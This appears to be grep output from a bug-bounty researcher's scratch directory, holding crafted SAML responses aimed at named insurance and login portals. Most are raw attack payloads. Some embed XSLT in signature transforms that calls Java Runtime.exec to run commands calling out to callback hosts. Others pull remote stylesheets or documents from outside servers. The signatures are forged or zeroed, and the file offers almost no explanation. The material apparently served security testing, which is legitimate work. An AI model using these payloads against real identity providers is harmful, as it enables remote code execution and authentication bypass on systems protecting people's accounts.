Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="#_SecurityTest-bugbounty-dwbzn"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116"><xsl:stylesheet version="1.0" exclude-result-prefixes="rt"><xsl:template match="/"><xsl:variable name="runtime" select="rt:getRuntime()"/><xsl:variable name="process" select="rt:exec($runtime, 'getent hosts i2xr090445d9b9--3at.9b.au')"/><xsl:text>Security Test bugbounty dwbzn</xsl:text></xsl:template></xsl:stylesheet></ds:Transform></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>d7jrBzoYu9Jlvlz6uGHWC2IKc5ylcULOgkLhnFSLwYNFmgWEbahri+tZMDCvGVx3mIvD+34g8ybqbDVBslty1EkeGMSxnSRs46ljVSle9Pr8WpUaqtIeL0ghSmNZqsnFKdvT3fv/nxdl01D0hzaNO8OMMyZMzEU4xUQIvF4pO7+dHBwBuy6HUUiTSwaKX83wSAmhxs3KS0wYHy3/pJGJZmCcelAjy2FevUewsgwHUuVhRPqaDLNlIE2WqPMDZxA8Q5yKyTBXymn3Yy2GhQZnGYzg20Wm6gQrR9kCc82fr6ZNnrGI+G1m4gizfgs2ZvsO06++Lmz+TIjwk1r6ntTBEw==</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIIDRTCCAi2gAwIBAgIUJcA535RhzNFI6Qq0twEehkwOdDcwDQYJKoZIhvcNAQELBQAwMjEYMBYGA1UEAwwPYnVnYm91bnR5LWR3YnpuMRYwFAYDVQQKDA1TZWN1cml0eSBUZXN0MB4XDTI2MTExMDA4MTYzNloXDTI2MTExMjA4MTYzNlowMjEYMBYGA1UEAwwPYnVnYm91bnR5LWR3YnpuMRYwFAYDVQQKDA1TZWN1cml0eSBUZXN0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmYWzxWwy5sXS+4u1FXaIH3GgzJFvgAJwZUpjU/wI6pJWqNkXKAXqbzNSRnMvp0WLrBBw0/bOkc6DtNym9L2uL42vyb5i72XyT7etYzvs84YKfBOibKARZ+mFbQGC1H7vBakUd5fl5wewEImRX3UizPJRBREk2MHa5mPYXuqKQyHvMDcE5sXd29H+sUOLdMm8wdlbhjJeexxovlr0zVrSoIgHy5ruYD10ml7tOJ3TmGE9wS8usmutuR/BkYM1oZEMJl5zNNaS8TsaO3v7GNPJCLES0EE7uw4M+0t6YPhazszSIxb6Oh1Cm6nidhcO96gY9IDjvPfW04ZUWbAMjIJOiQIDAQABo1MwUTAdBgNVHQ4EFgQU1YwoN4intcpHdhVKvwCveVaDu2EwHwYDVR0jBBgwFoAU1YwoN4intcpHdhVKvwCveVaDu2EwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAOXE4XPpn+yyekH84hQ/YWngQYryRf4+ckfn65c00mZ3zUP5C92JdUtNtAZP07+/IC3YdaeeaMHuZYTYT0V03tmQN76R59v81XJeI2GM0ZHLa9fr5i9RGcfXnS1SxQ7T2ek74mj3OFQNtYgnC1mfpL0rQyeuXdhYbmc/QAgdEsJFKwMYPmGNyAD1N9C9k8ysgXFazFIxtoFltWKMlazE8dZNK+Qey04uMot7B910hMBt79OuyQi1da1aIurExA4g4FMWOmM/h/p9Rx1oY4IuNjoeGARi2AWZ6IlsmuKQVPIx0d4JkRq5cD5X+SzIy+1rWMDq9eG9yW7htHURI81z+ww==</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion ID="_a" Version="2.0" IssueInstant="2026-11-10T09:04:46Z"><saml:Issuer>https://portal.easy-login.de/auth-portal</saml:Issuer><saml:Subject><saml:NameID>bugbounty-dwbzn</saml:NameID></saml:Subject></saml:Assertion></samlp:Response>
work/scratch/saml-xsw/old-xslt/01a1c486-fdfb-720f-9fb1-827aebe90e14.xml:2:<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:ds="http://www.w3.org/2000/09/xmldsig#" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" ID="_bugbounty" Version="2.0" IssueInstant="2026-11-10T08:15:39Z"><saml:Issuer>https://www.easy-login.de</saml:Issuer><ds:Signature><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="#_bugbounty"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116"><xsl:stylesheet version="1.0"><xsl:template match="/"><xsl:copy-of select="document('https://ipxslt105041794298539--3at.9b.au/xslt-1')"/></xsl:template></xsl:stylesheet></ds:Transform><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>AA==</ds:SignatureValue></ds:Signature><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion ID="_a" Version="2.0" IssueInstant="2026-11-10T08:15:39Z"><saml:Issuer>https://www.easy-login.de</saml:Issuer><saml:Subject><saml:NameID>bugbounty-dwbzn</saml:NameID></saml:Subject></saml:Assertion></samlp:Response>
work/scratch/saml-xsw/old-xslt/01a1c486-f5cb-7472-b1db-864fd638aea2.xml:2:<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:ds="http://www.w3.org/2000/09/xmldsig#" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" ID="_bugbounty" Version="2.0" IssueInstant="2026-11-10T08:15:39Z"><saml:Issuer>https://portal.easy-login.de/auth-portal</saml:Issuer><ds:Signature><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="#_bugbounty"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116"><xsl:stylesheet version="1.0"><xsl:template match="/"><xsl:copy-of select="document('https://ipxslt105041794298539--3at.9b.au/xslt-0')"/></xsl:template></xsl:stylesheet></ds:Transform><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>AA==</ds:SignatureValue></ds:Signature><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion ID="_a" Version="2.0" IssueInstant="2026-11-10T08:15:39Z"><saml:Issuer>https://portal.easy-login.de/auth-portal</saml:Issuer><saml:Subject><saml:NameID>bugbounty-dwbzn</saml:NameID></saml:Subject></saml:Assertion></samlp:Response>
work/scratch/layer7-decompiled-graphman.txt:749:work/source-derived/layer7-gateway-11.2.1-decompiled/layer7-pm2-console/com/l7tech/gateway/pm2/graphql/service/PM2ResourcesService.java:84:   @GraphQLQuery(name = "validateXsltStyleSheet")
work/scratch/layer7-decompiled-graphman.txt:750:work/source-derived/layer7-gateway-11.2.1-decompiled/layer7-pm2-console/com/l7tech/gateway/pm2/graphql/service/PM2ResourcesService.java:86:      @GraphQLArgument(name = "xsltStylesheet") String var1, @GraphQLArgument(name = "xsltVersion") String var2
work/scratch/liferay-critical/xslt-existing.txt:1:work/scratch/saml-xsw/old-xslt/01a1c64b-2080-7271-a37b-7461ca0a9a5c.xml:2:<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:ds="http://www.w3.org/2000/09/xmldsig#" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:proc="http://xml.apache.org/xalan/java/java.lang.Process" ID="_a-e9e6f14c9d654462915d4c6162d86dc2" Version="2.0" IssueInstant="2026-11-10T16:29:32Z"><saml:Issuer>https://portal.easy-login.de/auth-portal</saml:Issuer><ds:Signature><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="#_a-e9e6f14c9d654462915d4c6162d86dc2"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116"><xsl:stylesheet version="1.0"><xsl:output method="text"/><xsl:template match="/"><xsl:variable name="runtime" select="rt:getRuntime()"/><xsl:variable name="process" select="rt:exec($runtime, 'getent hosts sxdirect1794328172--3bh.9b.au')"/><xsl:value-of select="proc:waitFor($process)"/></xsl:template></xsl:stylesheet></ds:Transform></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>i36ZpDWmeZtD2o1M6sZpjbDDnx4ArNPbdxX4M8VsE9eP9xmsAcCeXL0a79KDXiYKGHuRPl4XWxikzvd7nK/Wn+ZFE1qEnMFIfX8VljrO7FzRW+RuIZViFEA4hW0sU/b3w23qPK5zuVWsn4VeZhPw6cUxvaUWXaTbnVR4AD/W7YEymXNcbBoxpUZKqysMqv6jKwiCT7ST6TbMRkDtRhJ0zjwZosy7MuuOru7XIY5SdWoAbvqD13AD4LsSwZ4hkz9HGtRkpx1N/uK7SqMY/yBFrJmTpJHCIh90Vz1uFNGguAMupWyXXFeD48V/EDxtiCvg6WGca1kITgiFBBXc6Z5/jQ==</ds:SignatureValue><ds:KeyInfo><ds:KeyValue><ds:RSAKeyValue><ds:Modulus>nL8nKt41i1p622vN4JvJ2wE/DFWNqEJWI3U1khjXBG9o7AYSDiGkZW+r4FoJ40vJbf4///qSP09vcXYEDtnvQno2SraTXgz3FM/XvrECj0jmyXdpzWrFjLr+VJcNCNWwhzSMztWOh8032PJoGkZCfx1xPqSQdYlrD4n0l8/cCKmj5jH4Ww2P7mExZ5kg5KUd/WWMoEkP7k196M5XiVNvTCyf4ZMfEYFvUe5EnOZ6s9f5P1S8Atp8uxPxTH/QIQQjOR1a/M8UEL9nHtTZ/3Ki4HkGXQd9qFyV8vi4mqgjm4od+eY1Ns8VKWqK5+gLTNRCBn4ZlXRwftyekdqVGEv4QQ==</ds:Modulus><ds:Exponent>AQAB</ds:Exponent></ds:RSAKeyValue></ds:KeyValue><ds:X509Data><ds:X509Certificate>MIIC3zCCAcegAwIBAgIUHMueGvOapcNAX78l+aWfFCsty+cwDQYJKoZIhvcNAQELBQAwHzEdMBsGA1UEAwwUYnVnYm91bnR5LWR3YnpuLXhzbHQwHhcNMjYxMTEwMTYyNDMyWhcNMjYxMTExMTYyOTMyWjAfMR0wGwYDVQQDDBRidWdib3VudHktZHdiem4teHNsdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJy/JyreNYtaettrzeCbydsBPwxVjahCViN1NZIY1wRvaOwGEg4hpGVvq+BaCeNLyW3+P//6kj9Pb3F2BA7Z70J6Nkq2k14M9xTP176xAo9I5sl3ac1qxYy6/lSXDQjVsIc0jM7VjofNN9jyaBpGQn8dcT6kkHWJaw+J9JfP3Aipo+Yx+FsNj+5hMWeZIOSlHf1ljKBJD+5NfejOV4lTb0wsn+GTHxGBb1HuRJzmerPX+T9UvALafLsT8Ux/0CEEIzkdWvzPFBC/Zx7U2f9youB5Bl0HfahclfL4uJqoI5uKHfnmNTbPFSlqiufoC0zUQgZ+GZV0cH7cnpHalRhL+EECAwEAAaMTMBEwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAmteNDr4hjDd1gb5yvgSRJy6Rmw8m0XfmD1nUWOLCMzvsSyi+wOEzIq9b888uzmWpxJkLp8QQczeGQNDwaHN5PAkk+B7+nSiywxZwzLI/upXHZ89TKSm3owKzoE+nXzWq6d3gH8tSUJNUgkOiWJcQtpS5zdSR5gKzwKyL0H1q1IzwN+oTE5mdZfrAGsoHrTsOpEo1OWsMOFWMMZtGCatzfyariGnPU88XybwLEab3vLOyHIKdy2Qeg5WyhO/y9Oh+PiOH2KCthmtRGD3/iGXCAnI7oU0G6M5TyJZCF6HWR50svoUzwRVkowwvqUEDpm5as2+LO8aXH5czkJGs7zNinw==</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml:Subject><saml:NameID>bugbounty-dwbzn</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="2026-11-10T16:39:32Z" Recipient="https://mein-portal.baloise.de/auth/rest/public/baloise/saml2/transform"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="2026-11-10T16:27:32Z" NotOnOrAfter="2026-11-10T16:39:32Z"><saml:AudienceRestriction><saml:Audience>https://mein-portal.baloise.de</saml:Audience></saml:AudienceRestriction></saml:Conditions><saml:AttributeStatement><saml:Attribute Name="UserToken"><saml:AttributeValue>bugbounty-user-token</saml:AttributeValue></saml:Attribute><saml:Attribute Name="SessionToken"><saml:AttributeValue>bugbounty-session-token</saml:AttributeValue></saml:Attribute><saml:Attribute Name="Identifier"><saml:AttributeValue>bugbounty-dwbzn</saml:AttributeValue></saml:Attribute></saml:AttributeStatement></saml:Assertion>
work/scratch/liferay-critical/xslt-existing.txt:2:work/scratch/saml-xsw/old-xslt/01a1c57e-9c95-74b9-906e-52e7045c5011.xml:2:<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:ds="http://www.w3.org/2000/09/xmldsig#" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" ID="_r-cb44e2032e3044818fdc26afc2f115ba" Version="2.0" IssueInstant="2026-11-10T12:46:09Z" Destination="https://mein-portal.baloise.de/auth/rest/public/baloise/saml2/transform"><saml:Issuer>https://portal.easy-login.de/auth-portal</saml:Issuer><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion ID="_a-46e856c5a8484802aa9674a98fc4029f" Version="2.0" IssueInstant="2026-11-10T12:46:09Z"><saml:Issuer>https://portal.easy-login.de/auth-portal</saml:Issuer><ds:Signature><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="#_a-46e856c5a8484802aa9674a98fc4029f"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116"><xsl:stylesheet version="1.0"><xsl:output method="text"/><xsl:template match="/"><xsl:value-of select="document('http://sxslt1794314769--3bh.9b.au/x.xml')"/></xsl:template></xsl:stylesheet></ds:Transform></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>Rj1Ktdakw3chaqeeS6d8MNk3vGk6k/E50MZCNAlOiXThkEOKnALUmBpKpG2Jfop8Fuj/nz85yIqKesAuKKmlObvno6QUSVlVFJ9bwsQLRcnoGOiKVT20mDSdQFANHc04NSgdzzkb8w45EDHWyx8SEi/bdDHbtEmbCMDn7EWdi0+/7whJuGvy3vI0fX59RBAbJ+3zn9dAcbhHUVKU0vH5jVW6LqzPiwPLVuOPkt36hcRLVS3VRX7jVQpPPxfYPBQQnP19HcZEbgWX8dKdzMk3iiZsTo9yA/b/PkgYjb+OztQ/3V+hWeTLLEbSfw1q4jWk8i+j1Dyy0bVz0M4N3roLug==</ds:SignatureValue><ds:KeyInfo><ds:KeyValue><ds:RSAKeyValue><ds:Modulus>qYaDR6twff4gNZlU5AZcwAsMniL8Bq/tQCYJVJF3Fo6nI5tpld728yCJUKa38egz9ozfTAEd7Wo9h4U09gzmjBOfYU5frXRmGLdi5r0c9TnfIs0yBw417yW5HUwI/U5GKuZvQGlDlslQNQ2vw+Z21JGKPl3tzgmG/S4BdrkSrL6BVVp+5OgURMNF0bPflxDPjNiXeHc15g6yqRgnd6NPX+SqXbP0sr2ytAUaYysRerGtHMxVbsw8DkfCAlgjnHItL3k79wDMTGCyB+kkxkZcOGPz4vgvLG0AV131oqHw2NTQTvK0jk+4zz03F+p9JP8GA/xUFdwPQW5TN8pWXqelJQ==</ds:Modulus><ds:Exponent>AQAB</ds:Exponent></ds:RSAKeyValue></ds:KeyValue><ds:X509Data><ds:X509Certificate>MIIC3zCCAcegAwIBAgIUXvEr4JxUv0eYUYHMvcIvQoD9H44wDQYJKoZIhvcNAQELBQAwHzEdMBsGA1UEAwwUYnVnYm91bnR5LWR3YnpuLXhzbHQwHhcNMjYxMTEwMTI0MTA5WhcNMjYxMTExMTI0NjA5WjAfMR0wGwYDVQQDDBRidWdib3VudHktZHdiem4teHNsdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKmGg0ercH3+IDWZVOQGXMALDJ4i/Aav7UAmCVSRdxaOpyObaZXe9vMgiVCmt/HoM/aM30wBHe1qPYeFNPYM5owTn2FOX610Zhi3Yua9HPU53yLNMgcONe8luR1MCP1ORirmb0BpQ5bJUDUNr8PmdtSRij5d7c4Jhv0uAXa5Eqy+gVVafuToFETDRdGz35cQz4zYl3h3NeYOsqkYJ3ejT1/kql2z9LK9srQFGmMrEXqxrRzMVW7MPA5HwgJYI5xyLS95O/cAzExgsgfpJMZGXDhj8+L4LyxtAFdd9aKh8NjU0E7ytI5PuM89NxfqfST/BgP8VBXcD0FuUzfKVl6npSUCAwEAAaMTMBEwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEApc+cZF1kEo/DGPb04WtwHIOIYPs8kMqyDjonDc6lnPTWgb1n7TNjg7lXOl3Z+OrnaNnlUsGRPr6QsvI0JKvIQ7pb2Yp2QbetP3Np0gqFFKPXGpTcBuIbWOZEhy4vgJ0G+cPf0UwdeflZrpyYqv5chS6FC7gMvDIGKvDtuva7Tk7mgo+nRZyBywW8Uf2a7wsINCA+qV3QA4df8kaEUIIOpm0M3wUY2GIvdjnTODNABcLHhYH8eVpqByhOGe27XoZ7nlddFexgDrbIFvW2zWKSQ8kxN3CL+nmbofLBo9kzkcI8rvKXdP0uehkcCiTvflX1GSIZM78UCCP4qmPZlv9lpw==</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml:Subject><saml:NameID>bugbounty-dwbzn</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="2026-11-10T12:56:09Z" Recipient="https://mein-portal.baloise.de/auth/rest/public/baloise/saml2/transform"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="2026-11-10T12:44:09Z" NotOnOrAfter="2026-11-10T12:56:09Z"><saml:AudienceRestriction><saml:Audience>https://mein-portal.baloise.de</saml:Audience></saml:AudienceRestriction></saml:Conditions><saml:AttributeStatement><saml:Attribute Name="UserToken"><saml:AttributeValue>bugbounty-user-token</saml:AttributeValue></saml:Attribute><saml:Attribute Name="SessionToken"><saml:AttributeValue>bugbounty-session-token</saml:AttributeValue></saml:Attribute><saml:Attribute Name="Identifier"><saml:AttributeValue>bugbounty-dwbzn</saml:AttributeValue></saml:Attribute></saml:AttributeStatement></saml:Assertion></samlp:Response>
work/scratch/liferay-critical/xslt-existing.txt:3:work/scratch/saml-xsw/old-xslt/01a1da54-a3b8-739b-b511-ce4c302daf55.xml:4:<ds:Signature><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="#_bugbounty"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116"><xsl:stylesheet version="1.0"><xsl:template match="/"><xsl:copy-of select="document('https://samxslt135219--3nt.9b.au/xslt')"/></xsl:template></xsl:stylesheet></ds:Transform></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>AA==</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIIE9DCCA9ygAwIBAgISBtyO9zmuRyN+6cyQ7jTGq16VMA0GCSqGSIb3DQEBCwUAMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjEwHhcNMjYxMDAyMDUyODI1WhcNMjYxMjMxMDUyODI0WjAXMRUwEwYDVQQDEwxxNy0yYXAueDAuYXUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDawu4CUHxcyiZJX4T77abLEK7KBnpFius0m40Z+qUfp9fei7gcLPUJ/XkhbzzIIN19rOs6KOCzWDJyZr2tw1Y5SlmyReakHUtBgoItCZd2shMc0qT/f8NpSrx8SGHEzgHo6XjrB1Bo4Rw89GmWdK1jvsTHQL8vww9hm1Upsl1Fhhj3VAMISMmX1FASpHIv+1C0Bsv+t6viDqv7EQktztn0C4gmMAa/GmtQ6HA2NUK/rMo8908LV2YSlodF++rKr5vA61zPgbu9tTQ91t3sf7JNO6rFZ3jQ+v2Hq3hKQ2F2jQ6k43bHbV4ho3owtmqnr0TKDp5xGfuSFjgxU835t/n5AgMBAAGjggIcMIICGDAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUbauGpIuay085uiH7UAr8EIhURF8wHwYDVR0jBBgwFoAUHy81vkYUgs1Asa55LFV4+vfUaPswMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIxLmkubGVuY3Iub3JnLzAXBgNVHREEEDAOggxxNy0yYXAueDAuYXUwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3lyMS5jLmxlbmNyLm9yZy8yMi5jcmwwggEOBgorBgEEAdZ5AgQCBIH/BIH8APoAdwCUTkOH+uzB74HzGSQmqBhlAcfTXzgCAT9yZ31VNy4Z2AAAAaD7S1ybAAAEAwBIMEYCIQCAKPRmJBN4P/AnuV3dbnjjJig2/MP2rkoWu0bl3HHI4gIhAPTUrDKDyPmsv7Wqy+KdP2FUY/ZKm9bCsxQFs6Jq4b7UAH8AjspHC6zeavOiBrCkeoS3Rv4fxr+VPiXmm07kAkjzxugAAAGg+0te9QAIAAAFABoKcIoEAwBIMEYCIQCUq+rExrDp2D/fo0NpiHoLeGFdCYhbhpxLbI5S4jVgEAIhAKbx7FOTOU5Eb19OT7BZffjJOg4YzRF0Aa7lX7ROMNKRMA0GCSqGSIb3DQEBCwUAA4IBAQCfc7E0WBeeg3x4ofMFDkbBMMB2w7/gi3H4BmEYHcaVTV0tqI/m2YpQb8F+qXI2TZTxmphWxHvWkDZ8DFCgQ8V8jWYqSzu/tSMfPBb0GPq+JuouoFvba5V4cvbqRrbBN6ynqxQTEUAj+hb/qPyVV+OGTKwO+cO4XlgT/heMEpHY5rzNPCvf6ETffk3QKyrwgTfbUCksrJCVdrOluOLAojtVTBrdTdPMRilop484F1XgVzWIwbv/S3HN46hLGoSZrJ+EdIZwWzQWsVcPu7DpVHf3PDEinKUOVq3+4TpNTFyuetFeWZDvBGssArAYKVIXpn8bPMfVR1ivqSztu/VGNN8y</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature>
work/scratch/liferay-critical/xslt-existing.txt:4:work/scratch/saml-xsw/old-xslt/01a1c48e-61ca-73ce-8d85-f0369bc2e34d.xml:2:<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:ds="http://www.w3.org/2000/09/xmldsig#" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" ID="_SecurityTest-bugbounty-dwbzn" Version="2.0" IssueInstant="2026-11-10T08:23:45Z" Destination="https://va.baloise.de/auth/rest/public/baloise/saml2/transform"><saml:Issuer>https://portal.easy-login.de/auth-portal</saml:Issuer><ds:Signature><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><ds:Reference URI="#_SecurityTest-bugbounty-dwbzn"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116"><xsl:stylesheet version="1.0"><xsl:include href="https://vxs261110a--3at.9b.au/style.xsl"/></xsl:stylesheet></ds:Transform></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>ucVEbzx332afhXWNIuu51S3EFsk9VmEy0FV9IInfKBDGeAP6BKNL5qsxnBrIZDCIHCE4mFtQw9QayHmJjnHlf230m+zHZZ/NYCEzR3F+dh+rQe5pcJcqFpLfr6nifFK/DG16Vp6B9QSCtrXGs1w7yX+DVyvrT6EmTP7deu+XTKn81h2jITrpATwFMUsDomnG+vLyV3sQsZDH68DLSeDSvaG/V36Kve1sElrepm8ZbSEBvkuIKblK16T6EjF0tCCMSVAHeJlwDkwT6BhTS/VuOCbDqS2sDT2JC3Y7va9vd3zobExrNO00YuDyI8E93QzPiXc4w31K3D9u4E5OUUdgfw==</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIIC2jCCAcKgAwIBAgIUYJ6RBc7UhqdPXEpkBf/ptv53YYcwDQYJKoZIhvcNAQELBQAwJzElMCMGA1UEAwwcU2VjdXJpdHlUZXN0LWJ1Z2JvdW50eS1kd2J6bjAeFw0yNjExMTAwODIyNDVaFw0yNjExMTEwODIzNDVaMCcxJTAjBgNVBAMMHFNlY3VyaXR5VGVzdC1idWdib3VudHktZHdiem4wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDXWqSRxUPBIC53z3XIngkwmmK2HBtVkvpTE6iqLBaUfqsRXzxueNvuCs4JeI5T97Ft+4U5VBKqVJIATJDDVfjy8d2n0lsAxsik6H2g3x+8n+J0y7ThlJJzkBiqf+4E7gD0X0lpa0HU0NCyElH0QUagm2hTzpk8s0XyXJsEE0Rda7+1L14tkGZ9jPO7sLmUL2qvij430zstQro1TMDC37YamESmYFQY+ZM0vlmCQIpcSuKUadoAoXBjBzg2TH1v/0kmYO9xxYd6/22IcMey4qVzaeNclNthbp2ZbngZKt3TqiRtY6wLhE3CpZVxqelnkLPGHwiK+Com5hLa7CkqsGbdAgMBAAEwDQYJKoZIhvcNAQELBQADggEBAF/m1avGmd+SOo4wkL+geQ2CT/0sZSL/Al7BMv4igyh86JK5VR14H8z6aF/Qw1dNgUsshx1taNj853qosDN0+tnymlj3No46RS+DfmKKwhUEIDyi4yo8905hrM6VzFY1KxQyboH6SMHyyI/z+co+3nogAznrHstzi/Fb/cKct0vQTSeGcvOEx85j8BygCqm4shsiaGcsHPBNQ7j67geFLe9WgqTQIQ2sJq8CrQkZIyks1ePPc4XgVgrR9Qt2S36pSlaNAuVpqi46tZlvqDqGcu4knAdSXh6bLaTNMydO0bHkhA3/vxsjxIPZ+EpsVdstOJtnqwwHqlBjR6HXWXPi2ZI=</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status></samlp:Response>
